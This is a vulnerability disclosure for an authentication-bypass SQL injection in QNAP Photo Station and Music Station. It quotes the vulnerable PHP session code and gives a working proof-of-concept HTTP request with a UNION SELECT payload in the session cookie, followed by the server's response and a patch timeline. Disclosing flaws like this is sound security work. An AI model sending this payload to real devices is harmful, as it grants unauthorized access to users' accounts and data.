$_COOKIE[STATIONSID]
is not escaped.
File: /api/libs/inc_common.php
if(empty($SID)){
$SESSION->sid = $_COOKIE[STATIONSID];
}else{
$SESSION->sid = $SID;
}
$SESSION->init();
if ($SESSION->isLogin){
if(isset($_COOKIE['NAS_SID']) && $_SESSION['account'] != $_COOKIE['NAS_USER']){
$IS_LOGIN = false;
}else{
$IS_LOGIN = true;
UPDATE_SESSION_CACHE();
}
}
Then it's used inside SQL query:
File: api/libs/class_session.php
function init()
{
$row = $this->getOne($this->sid);
if (!$row){
// check if login
$this->isLogin = 0;
} else if ( (intval($row['last_visit']) + $this->expireTime ) < time() ) {
// check if expire
$this->isLogin = 0;
$this->timeout = true;
$this->del($this->sid);
} else {
// update last_visit
$this->isLogin = 1;
$this->update();
}
}
function getOne($sid)
{
$sql = "SELECT * FROM {$this->mainTable} WHERE sid='$sid'";
$row = $this->db->querySingle($sql, true);
if (!empty($row)){
$this->account = $row['account'];
$this->is_admin = $row['is_admin'];
$this->ip = empty($row['ip'])?getClientIP():$row['ip'];
$this->usr_id = $row['usr_id'];
$this->start_time = $row['start_time'];
$this->last_visit = $row['last_visit'];
$data = json_decode($row['datas'],true);
$this->credential = $data['credential'];
return $row;
}
return false;
}
And because this function is responsible for authentication, we can login as any user.
Proof of Concept
Request:
GET /photo/api/dmc.php HTTP/1.1
Host: qnapdemo.myqnapcloud.com:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: pl-PL,pl;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: QMS_SID=' UNION SELECT 9999999999,9999999999,9999999999,9999999999,9999999999,9999999999,9999999999,9999999999,9999999999 -- a
Connection: close
Response:
HTTP/1.1 200 OK
Date: Thu, 26 Jan 2017 15:06:08 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/xml;charset=utf-8
Content-Length: 114
<?xml version="1.0"?>
<QDocRoot version="1.0"><status>0</status><playerCount>0</playerCount><players/></QDocRoot>
When we send invalid sid
response look like this:
<QDocRoot version="1.0"><status>98</status><error>You are not logged in</error></QDocRoot>
Timeline
- 26-01-2017: Discovered
- 26-01-2017: Vendor notified
- 24-02-2017: Photo Station (5.3.4 / 5.2.5) and Music Station (5.0.4 / 4.8.5) has been released